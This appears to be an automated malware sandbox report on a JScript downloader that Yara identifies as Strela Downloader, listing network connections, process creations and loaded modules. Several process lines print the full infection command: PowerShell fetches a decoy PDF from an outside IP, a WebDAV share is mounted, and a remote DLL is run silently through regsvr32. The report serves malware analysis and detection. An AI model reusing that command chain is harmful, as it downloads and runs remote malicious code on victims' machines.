HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2041958568.000001D316D6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2044156068.000001D318C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2097735500.000001A7E91FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100658403.000001A7E91C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2100658403.000001A7E91C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3332010439.000001F50FE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2097926189.000001F50FCA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1720, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 13924233483066821789.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hl2w2yng.mv4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1720,i,8080744386788834363,3563767160036206052,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1720,i,8080744386788834363,3563767160036206052,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
